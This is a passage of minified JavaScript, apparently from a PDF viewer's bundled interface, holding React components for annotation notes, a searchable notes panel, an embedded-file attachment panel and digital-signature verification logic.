t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?YM(Object(n),!0).forEach((function(t){KM(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):YM(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function KM(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function XM(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return QM(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return QM(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function QM(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var JM={annotation:Is.a.object.isRequired},eR=0,tR=function(e){var t=e.annotation,n=Object(l.useContext)(VT),r=n.isSelected,o=n.resize,i=n.pendingEditTextMap,a=n.setPendingEditText,u=n.isContentEditable,c=n.isDocumentReadOnly,f=n.isNotePanelOpen,d=n.isExpandedFromSearch,p=Object(l.useRef)(),h=Object(l.useRef)(),m=XM(Object(l.useState)({}),2),g=m[0],v=m[1],y=Object(l.useRef)([]),b=re(),w=XM(Ks(),1)[0],E=new Set,S=XM(le((function(e){return[fi.getNoteTransformFunction(e),fi.getCustomNoteSelectionFunction(e),fi.getUnreadAnnotationIdSet(e),fi.isCommentThreadExpansionEnabled(e)]}),N),4),C=S[0],x=S[1],O=S[2],A=S[3],_=t.getReplies().sort((function(e,t){return e.DateCreated-t.DateCreated}));_.filter((function(e){return O.has(e.Id)})).forEach((function(e){return E.add(e.Id)})),Object(l.useEffect)((function(){var e=function(e,t){"delete"===t&&e.forEach((function(e){O.has(e.Id)&&b(Ps.setAnnotationReadState({isRead:!0,annotationId:e.Id}))}))};return vt.addEventListener("annotationChanged",e),function(){vt.removeEventListener("annotationChanged",e)}}),[O]),Object(l.useEffect)((function(){var e=h.current,t=p.current.getBoundingClientRect().height;h.current=t,e&&Math.round(e)!==Math.round(t)&&o()})),Object(l.useEffect)((function(){if(C){y.current.forEach((function(e){var t=document.querySelector("[data-webviewer-custom-element='".concat(e,"']"));t&&t.parentNode.removeChild(t)})),y.current=[];var e={annotation:t,isSelected:r};C(p.current,e,(function(){var e,t=(e=document).createElement.apply(e,arguments),n="custom-element-".concat(eR);return eR++,y.current.push(n),t.setAttribute("data-webviewer-custom-element",n),t.addEventListener("mousedown",(function(e){e.stopPropagation()})),t}))}})),Object(l.useEffect)((function(){""!==i[t.Id]&&u&&!c&&I(!0,0)}),[c,u,I,t]),Rx((function(){!c&&u||I(!1,0)}),[c,u,I]);var T=function(e){e&&e.stopPropagation(),f&&O.has(t.Id)&&b(Ps.setAnnotationReadState({isRead:!0,annotationId:t.Id})),r||(x&&x(t),vt.deselectAllAnnotations(),vt.selectAnnotation(t),vt.jumpToAnnotation(t),setTimeout((function(){return b(Ps.openElement("annotationNoteConnectorLine"))}),300))},k=E.size>0,P=js()({Note:!0,expanded:r,unread:O.has(t.Id)||k}),M=js()({replies:!0,hidden:!r});Object(l.useEffect)((function(){_.forEach((function(e,t){var n=i[e.Id];""!==n&&void 0!==n&&r&&I(!0,1+t)}))}),[r]);var R=!Object.values(g).some((function(e){return e})),j=function(e){E.has(e.Id)&&(b(Ps.setAnnotationReadState({isRead:!0,annotationId:e.Id})),vt.getAnnotationManager().selectAnnotation(e))},L=function(){if(E.size>0){var e=_.filter((function(e){return E.has(e.Id)}));vt.getAnnotationManager().selectAnnotations(e),e.forEach((function(e){return b(Ps.setAnnotationReadState({isRead:!0,annotationId:e.Id}))}))}},I=Object(l.useCallback)((function(e,t){v((function(n){return $M($M({},n),{},KM({},t,e))}))}),[v]),D=_.length>0?_[_.length-1].Id:null;return s.a.createElement("div",{role:"button",tabIndex:0,ref:p,className:P,onClick:T,onKeyDown:function(e){!(e.target===e.currentTarget)||"Enter"!==e.key&&" "!==e.key||(e.preventDefault(),T())},id:"note_".concat(t.Id)},s.a.createElement(FM,{noteIndex:0,annotation:t,isSelected:r,setIsEditing:I,isEditing:g[0],textAreaValue:i[t.Id],onTextChange:a,isNonReplyNoteRead:!O.has(t.Id),isUnread:O.has(t.Id)||k}),(r||d||A)&&s.a.createElement(s.a.Fragment,null,_.length>0&&s.a.createElement("div",{className:M},k&&s.a.createElement(bf,{dataElement:"markAllReadButton",className:"mark-all-read-button",label:w("action.markAllRead"),onClick:L}),_.map((function(e,t){return s.a.createElement("div",{className:"reply",id:"note_reply_".concat(e.Id),key:"note_reply_".concat(e.Id)},s.a.createElement(FM,{noteIndex:t+1,key:e.Id,annotation:e,setIsEditing:I,isEditing:g[t+1],onTextChange:a,onReplyClicked:j,isUnread:O.has(e.Id)}))}))),R&&s.a.createElement(UM,{isUnread:D&&O.has(D),onPendingReplyChange:L,annotation:t})),r&&s.a.createElement(ZM,{annotation:t,noteContainerRef:p}))};tR.propTypes=JM;var nR=tR;n(1037);function rR(e){return(rR="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function oR(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function iR(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function aR(e,t){return(aR=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function lR(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=uR(e);if(t){var o=uR(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return sR(this,n)}}function sR(e,t){if(t&&("object"===rR(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function uR(e){return(uR=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var cR=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&aR(e,t)}(i,e);var t,n,r,o=lR(i);function i(){return oR(this,i),o.apply(this,arguments)}return t=i,(n=[{key:"render",value:function(){var e=this.props.renderContent?this.props.renderContent():this.props.children;return s.a.createElement("div",{className:"ListSeparator"},e)}}])&&iR(t.prototype,n),r&&iR(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);!function(e,t,n){t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n}(cR,"propTypes",{renderContent:Is.a.func,children:Is.a.node});var fR=cR;n(1038);function dR(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function pR(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?dR(Object(n),!0).forEach((function(t){hR(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):dR(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function hR(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mR(e){return function(e){if(Array.isArray(e))return yR(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||vR(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function gR(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||vR(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function vR(e,t){if(e){if("string"==typeof e)return yR(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?yR(e,t):void 0}}function yR(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var bR=function(e){var t=e.currentLeftPanelWidth,n=gR(le((function(e){return[fi.getSortStrategy(e),fi.isElementOpen(e,"notesPanel"),fi.isElementDisabled(e,"notesPanel"),fi.getPageLabels(e),fi.getCustomNoteFilter(e),fi.getNotesPanelWidth(e),fi.getNotesInLeftPanel(e),fi.isDocumentReadOnly(e),fi.getEnableNotesPanelVirtualizedList(e),fi.isInDesktopOnlyMode(e),fi.isElementDisabled(e,"sortContainer")]}),N),11),r=n[0],o=n[1],i=n[2],a=n[3],u=n[4],c=n[5],f=n[6],d=n[7],p=n[8],h=n[9],m=n[10],g=t||c,v=re(),y=Object(l.useRef)(null),b=Rf(["(max-width: 640px)"],[!0],!1),w=gR(Object(l.useState)([]),2),E=w[0],S=w[1],C=gR(Object(l.useState)(!1),2),x=C[0],O=C[1],A=gR(Object(l.useState)({}),2),T=A[0],k=A[1],P=gR(Object(l.useState)(""),2),M=P[0],R=P[1],j=gR(Object(l.useState)(!1),2),L=j[0],I=j[1],D=gR(Ks(),1)[0],F=Object(l.useRef)(),B=Object(l.useRef)(0),H=p?kt?25:100:1/0;Object(l.useEffect)((function(){var e=function(){S([]),k({}),R("")};return vt.addEventListener("documentUnloaded",e),function(){return vt.removeEventListener("documentUnloaded",e)}}),[]),Object(l.useEffect)((function(){var e=function(){S(vt.getAnnotationsList().filter((function(e){return e.Listable&&!e.isReply()&&!e.Hidden&&!e.isGrouped()&&e.ToolName!==window.Core.Tools.ToolNames.CROP&&!e.isContentEditPlaceholder()})))},t=function(e){var t=e.detail,n=t.types,r=t.authors,o=t.colors,i=t.statuses;n.length>0||r.length>0||o.length>0||i.length>0?O(!0):O(!1)};return vt.addEventListener("annotationChanged",e),vt.addEventListener("annotationHidden",e),vt.addEventListener("updateAnnotationPermission",e),window.addEventListener(Ht.ANNOTATION_FILTER_CHANGED,t),e(),function(){vt.removeEventListener("annotationChanged",e),vt.removeEventListener("annotationHidden",e),vt.removeEventListener("updateAnnotationPermission",e),window.removeEventListener(Ht.ANNOTATION_FILTER_CHANGED,t)}}),[]),Object(l.useEffect)((function(){var e=function(){var e={};vt.getSelectedAnnotations().forEach((function(t){e[t.Id]=!0})),(o||f)&&(k(e),I(!0))};return e(),vt.addEventListener("annotationSelected",e),function(){return vt.removeEventListener("annotationSelected",e)}}),[o,f]);var V=-1,z=function(e){e&&(B.current=e),v(Ps.closeElement("annotationNoteConnectorLine"))},U=function(e){var t=e.getContents(),n=vt.getDisplayAuthor(e.Author),r=e.getCustomData("trn-annot-preview");return(null==t?void 0:t.toLowerCase().includes(M.toLowerCase()))||(null==n?void 0:n.toLowerCase().includes(M.toLowerCase()))||(null==r?void 0:r.toLowerCase().includes(M.toLowerCase()))},G=nc()[r].getSortedNotes(E).filter((function(e){var t=!0;if(u&&(t=t&&u(e)),M){var n=e.getReplies(),r=[e].concat(mR(n));t=t&&r.some(U)}return t}));Object(l.useEffect)((function(){Object.keys(T).length&&-1!==V&&setTimeout((function(){var e;null===(e=F.current)||void 0===e||e.scrollToRow(V)}),0)}),[T]);var W=function(e){return!Object.keys(T).length&&(M&&G.filter((function(e){return e.getReplies().some(U)})).some((function(t){return t.Id===e.Id})))},q=_.debounce((function(e){vt.deselectAllAnnotations(),R(e)}),500),Z=gR(Object(l.useState)({}),2),Y=Z[0],$=Z[1],K=Object(l.useCallback)((function(e,t){$((function(n){return pR(pR({},n),{},hR({},t,e))}))}),[$]),X=gR(Object(l.useState)({}),2),Q=X[0],J=X[1],ee=Object(l.useCallback)((function(e,t){J((function(n){return pR(pR({},n),{},hR({},t,e))}))}),[J]),te=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:function(){},i=null,l=nc()[r],u=l.shouldRenderSeparator,c=l.getSeparatorContent,p=0===t?null:e[t-1],h=e[t];u&&c&&(!p||u(p,h))&&(i=s.a.createElement(fR,{renderContent:function(){return c(p,h,{pageLabels:a})}}));var m=function(){T[h.Id]&&(k((function(e){var t=pR({},e);return delete t[h.Id],t})),vt.deselectAnnotation(h))},g={searchInput:M,resize:n,isSelected:T[h.Id],isContentEditable:vt.canModifyContents(h)&&!h.getContents(),pendingEditTextMap:Y,setPendingEditText:K,pendingReplyMap:Q,setPendingReply:ee,isDocumentReadOnly:d,isNotePanelOpen:o||f,onTopNoteContentClicked:m,isExpandedFromSearch:W(h),scrollToSelectedAnnot:L,sortStrategy:r};return t===V&&setTimeout((function(){I(!1),v(Ps.openElement("annotationNoteConnectorLine"))}),0),s.a.createElement("div",{role:"listitem",className:"note-wrapper"},i,s.a.createElement(VT.Provider,{value:g},s.a.createElement(nR,{annotation:h})))},ne=s.a.createElement("div",{className:"no-results"},s.a.createElement("div",null,s.a.createElement(cf,{className:"empty-icon",glyph:"illustration - empty state - outlines"})),s.a.createElement("div",{className:"msg"},D("message.noResults"))),oe=s.a.createElement("div",{className:"no-annotations"},s.a.createElement("div",null,s.a.createElement(cf,{className:"empty-icon",glyph:"illustration - empty state - outlines"})),s.a.createElement("div",{className:"msg"},D(d?"message.noAnnotationsReadOnly":"message.noAnnotations"))),ie=Object.keys(T);if(1===ie.length)V=G.findIndex((function(e){return e.Id===ie[0]}));else if(ie.length){var ae=G.filter((function(e){return T[e.Id]}));ae.length&&(V=G.findIndex((function(e){return e.Id===ae[0].Id})))}var se={};return!h&&b||(se={width:"".concat(g,"px"),minWidth:"".concat(g,"px")}),!i&&(o||f)?s.a.createElement("div",{className:js()({Panel:!0,NotesPanel:!0}),style:se,"data-element":"notesPanel",onMouseUp:function(){return vt.deselectAllAnnotations}},!h&&b&&!f&&s.a.createElement("div",{className:"close-container"},s.a.createElement("div",{className:"close-icon-container",onClick:function(){v(Ps.closeElements(["notesPanel"]))}},s.a.createElement(cf,{glyph:"ic_close_black_24px",className:"close-icon"}))),s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"header"},s.a.createElement("div",{className:"input-container"},s.a.createElement("input",{type:"text",placeholder:D("message.searchCommentsPlaceholder"),"aria-label":D("message.searchCommentsPlaceholder"),onChange:function(e){q(e.target.value)},ref:y,id:"NotesPanel__input"})),s.a.createElement("div",{className:"comments-counter"},s.a.createElement("span",{className:"main-comment"},D("component.notesPanel"))," ","(".concat(G.length,")")),s.a.createElement("div",{className:"sort-row"},m?s.a.createElement("div",{className:"sort-container"}):s.a.createElement("div",{className:"sort-container","data-element":"sortContainer"},s.a.createElement("div",{className:"label"},"".concat(D("message.sortBy"),":")),s.a.createElement(ky,{dataElement:"notesOrderDropdown",disabled:0===G.length,items:Object.keys(nc()),translationPrefix:"option.notesOrder",currentSelectionKey:r,onClickItem:function(e){v(Ps.setNotesPanelSortStrategy(e))}})),s.a.createElement(bf,{dataElement:"filterAnnotationButton",className:js()({filterAnnotationButton:!0,active:x}),disabled:0===E.length,img:"icon-comments-filter",onClick:function(){return v(Ps.openElement("filterModal"))},title:D("component.filter")}))),0===G.length?0===E.length?oe:ne:G.length<=H?s.a.createElement(HT,{ref:F,notes:G,onScroll:z,initialScrollTop:B.current},te):s.a.createElement(DT,{ref:F,notes:G,sortStrategy:r,onScroll:z,initialScrollTop:B.current,selectedIndex:V},te))):null};function wR(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function ER(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){wR(i,r,o,a,l,"next",e)}function l(e){wR(i,r,o,a,l,"throw",e)}a(void 0)}))}}function SR(){return CR.apply(this,arguments)}function CR(){return(CR=ER(regeneratorRuntime.mark((function e(){var t,n,r,o,i,a,l,s,u,c,f,d,p,h,m,g,v,y,b,w,E;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(t={fileAttachmentAnnotations:[],embeddedFiles:[]},vt.isFullPDFEnabled()){e.next=5;break}console.warn("Need fullAPI to be on to view embedded files."),e.next=70;break;case 5:return n=window.Core.PDFNet,e.next=8,vt.getDocument().getPDFDoc();case 8:return r=e.sent,e.next=11,n.NameTree.find(r,"EmbeddedFiles");case 11:if(o=e.sent,e.t0=o,!e.t0){e.next=17;break}return e.next=16,o.isValid();case 16:e.t0=e.sent;case 17:if(!e.t0){e.next=70;break}return e.next=20,o.getIteratorBegin();case 20:i=e.sent,0;case 22:return e.next=24,i.hasNext();case 24:if(!e.sent){e.next=70;break}return e.next=27,i.value();case 27:return a=e.sent,e.next=30,a.get("F");case 30:return l=e.sent,e.next=33,l.value();case 33:return s=e.sent,e.next=36,s.getAsPDFText();case 36:return u=e.sent,e.t1=n.FileSpec,e.next=40,i.value();case 40:return e.t2=e.sent,e.next=43,e.t1.createFromObj.call(e.t1,e.t2);case 43:return c=e.sent,e.next=46,c.getFileData();case 46:return f=e.sent,e.next=49,n.FilterReader.create(f);case 49:d=e.sent,p=[],m=h=1024;case 53:if(h!==m){e.next=61;break}return e.next=56,d.read(h);case 56:g=e.sent,m=g.length,p.push(g),e.next=53;break;case 61:for(v=new Uint8Array(p.length*h+m),y=0;y<p.length;y++)b=y*h,w=p[y],v.set(w,b);E=new Blob([v]),t.embeddedFiles.push({filename:u,blob:E});case 65:return e.next=67,i.next();case 67:e.next=22;break;case 70:return vt.getAnnotationsList().filter((function(e){return e instanceof Annotations.FileAttachmentAnnotation})).forEach((function(e){t.fileAttachmentAnnotations[e.PageNumber]||(t.fileAttachmentAnnotations[e.PageNumber]=[]),t.fileAttachmentAnnotations[e.PageNumber].push(e)})),e.abrupt("return",t);case 73:case"end":return e.stop()}}),e)})))).apply(this,arguments)}n(1039);function xR(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function OR(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return AR(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return AR(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function AR(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var _R=function(e,t,n){var r=e.split(".").pop().toUpperCase();return s.a.createElement("li",{onClick:t,key:n},s.a.createElement("span",null,"[".concat(r,"] ").concat(e)))},TR=function(){var e=OR(Ks(),1)[0],t=OR(Object(l.useState)({embeddedFiles:[],fileAttachmentAnnotations:[]}),2),n=t[0],r=t[1];return Object(l.useEffect)((function(){var e=function(){var e=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){xR(i,r,o,a,l,"next",e)}function l(e){xR(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function e(){var t;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,SR();case 2:t=e.sent,r(t);case 4:case"end":return e.stop()}}),e)})));return function(){return e.apply(this,arguments)}}();return vt.addEventListener("annotationChanged",e),e(),function(){vt.removeEventListener("annotationChanged",e)}}),[]),0===n.embeddedFiles.length&&0===Object.entries(n.fileAttachmentAnnotations).length?s.a.createElement("div",{className:"no-attachment"},s.a.createElement(cf,{className:"empty-icon",glyph:"illustration - empty state - outlines"}),s.a.createElement("div",{className:"msg"},e("message.noAttachments"))):s.a.createElement("div",{className:"fileAttachmentPanel"},s.a.createElement("div",{className:"section"},n.embeddedFiles.length?s.a.createElement("p",{className:"title"},e("message.embeddedFiles")):null,s.a.createElement("ul",{className:"downloadable"},n.embeddedFiles.map((function(e,t){return _R(e.filename,(function(){Object(Uh.saveAs)(e.blob,e.filename)}),"embeddedFile_".concat(t))})))),Object.entries(n.fileAttachmentAnnotations).map((function(t){var n=OR(t,2),r=n[0],o=n[1];return s.a.createElement("div",{key:r,className:"section"},s.a.createElement("p",{className:"title"},e("message.pageNum"),": ",r),s.a.createElement("ul",{className:"downloadable"},o.map((function(e,t){return _R(e.filename,(function(){vt.setCurrentPage(e.PageNumber),vt.selectAnnotation(e),vt.getAnnotationManager().trigger("annotationDoubleClicked",e)}),"fileAttachmentAnnotation_".concat(t))}))))})))};function kR(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return PR(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return PR(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}function PR(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function MR(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function RR(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){MR(i,r,o,a,l,"next",e)}function l(e){MR(i,r,o,a,l,"throw",e)}a(void 0)}))}}var jR=function(){var e=RR(regeneratorRuntime.mark((function e(t,n,r){var o,i;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!(o=vt.getDocument())){e.next=7;break}return e.next=4,LR(o,t,n);case 4:return i=e.sent,r(Ps.setVerificationResult(i)),e.abrupt("return",i);case 7:case"end":return e.stop()}}),e)})));return function(t,n,r){return e.apply(this,arguments)}}(),LR=function(){var e=RR(regeneratorRuntime.mark((function e(t,n,r){var o,i,a,l,s,u,c,f;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return o=window,i=o.PDFNet,a=i.VerificationResult,l=a.TrustStatus,s=a.DigestStatus,u=a.ModificationPermissionsStatus,c=a.DocumentStatus,f={},e.next=6,i.runWithCleanup(RR(regeneratorRuntime.mark((function e(){var o,a,d,p,h,m,g,v,y,b,w,E,S,C,x,O,A,_,T,k,P,M,R,j,L,I,N,D,F,B,H,V,z,U,G,W,q,Z,Y,$,K,X,Q,J,ee,te,ne,re,oe,ie,ae,le,se,ue,ce,fe;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t.getPDFDoc();case 2:return t=e.sent,e.next=5,i.VerificationOptions.create(i.VerificationOptions.SecurityLevel.e_compatibility_and_archiving);case 5:o=e.sent,a=kR(n),e.prev=7,p=regeneratorRuntime.mark((function e(){var t,n,r;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if("string"!=typeof(t=d.value)){e.next=13;break}return e.prev=2,e.next=5,o.addTrustedCertificateFromURL(t);case 5:e.next=11;break;case 7:return e.prev=7,e.t0=e.catch(2),console.error("Error encountered when trying to load certificate from URL: ".concat(t,"\n")+"Certificate will not be used as part of verification process."),e.abrupt("return","continue");case 11:e.next=41;break;case 13:if(!(t instanceof File||"[object File]"===Object.prototype.toString.call(t))){e.next=31;break}return n=new FileReader,r=new Promise((function(e,r){n.addEventListener("load",function(){var t=RR(regeneratorRuntime.mark((function t(n){return regeneratorRuntime.wrap((function(t){for(;;)switch(t.prev=t.next){case 0:e(new Uint8Array(n.target.result));case 1:case"end":return t.stop()}}),t)})));return function(e){return t.apply(this,arguments)}}()),n.addEventListener("error",(function(){r("Error reading the local certificate")})),n.readAsArrayBuffer(t)})),e.prev=16,e.t1=o,e.next=20,r;case 20:return e.t2=e.sent,e.next=23,e.t1.addTrustedCertificate.call(e.t1,e.t2);case 23:e.next=29;break;case 25:return e.prev=25,e.t3=e.catch(16),console.error("Error encountered when trying to load certificate: ".concat(e.t3)+"Certificate will not be used as part of the verification process."),e.abrupt("return","continue");case 29:e.next=41;break;case 31:if(!(t instanceof ArrayBuffer||t instanceof Int8Array||t instanceof Uint8Array||t instanceof Uint8ClampedArray)){e.next=41;break}return e.prev=32,e.next=35,o.addTrustedCertificate(t);case 35:e.next=41;break;case 37:return e.prev=37,e.t4=e.catch(32),console.error("Error encountered when trying to load certificate: ".concat(e.t4)+"Certificate will not be used as part of the verification process."),e.abrupt("return","continue");case 41:case"end":return e.stop()}}),e,null,[[2,7],[16,25],[32,37]])})),a.s();case 10:if((d=a.n()).done){e.next=17;break}return e.delegateYield(p(),"t0",12);case 12:if("continue"!==e.t0){e.next=15;break}return e.abrupt("continue",15);case 15:e.next=10;break;case 17:e.next=22;break;case 19:e.prev=19,e.t1=e.catch(7),a.e(e.t1);case 22:return e.prev=22,a.f(),e.finish(22);case 25:h=kR(r),e.prev=26,h.s();case 28:if((m=h.n()).done){e.next=59;break}if(g=m.value,v=g.constructor.name,y=["ArrayBuffer","Int8Array","Uint8Array","Uint8ClampedArray"],b=void 0,"Blob"!==v){e.next=39;break}return e.next=36,g.arrayBuffer();case 36:b=e.sent,e.next=45;break;case 39:if(!y.includes(v)){e.next=43;break}b=g,e.next=45;break;case 43:return console.error("The provided TrustList is an unsupported data-structure. Please ensure the TrustList is formatted as one of the following "+"data-structures: ".concat([].concat(y,["Blob"]).join("|"))),e.abrupt("continue",57);case 45:return e.prev=45,e.next=48,i.FDFDoc.createFromMemoryBuffer(b);case 48:return w=e.sent,e.next=51,o.loadTrustList(w);case 51:e.next=57;break;case 53:return e.prev=53,e.t2=e.catch(45),console.error("Error encountered when trying to load certificate: ".concat(e.t2,". ")+"Certificate will not be used as part of the verification process."),e.abrupt("continue",57);case 57:e.next=28;break;case 59:e.next=64;break;case 61:e.prev=61,e.t3=e.catch(26),h.e(e.t3);case 64:return e.prev=64,h.f(),e.finish(64);case 67:return e.next=69,t.getFieldIteratorBegin();case 69:E=e.sent;case 70:return e.next=72,E.hasNext();case 72:if(!e.sent){e.next=259;break}return e.next=75,E.current();case 75:return S=e.sent,e.next=78,S.isValid();case 78:if(e.t4=!e.sent,e.t4){e.next=85;break}return e.next=82,S.getType();case 82:e.t5=e.sent,e.t6=i.Field.Type.e_signature,e.t4=e.t5!==e.t6;case 85:if(!e.t4){e.next=87;break}return e.abrupt("continue",256);case 87:return e.next=89,i.DigitalSignatureField.createFromField(S);case 89:return C=e.sent,e.prev=90,e.next=93,C.verify(o);case 93:return x=e.sent,e.next=96,C.getSDFObj();case 96:return e.next=98,e.sent.getObjNum();case 98:return O=e.sent,A=void 0,_=void 0,T=void 0,k=void 0,P=void 0,M=void 0,R=void 0,j=void 0,L=void 0,I={},N={},e.next=112,C.hasCryptographicSignature();case 112:if(!(D=e.sent)){e.next=166;break}return e.next=116,C.getSubFilter();case 116:if((F=e.sent)!==i.DigitalSignatureField.SubFilterType.e_adbe_pkcs7_detached){e.next=131;break}return e.next=120,C.getSignerCertFromCMS();case 120:return 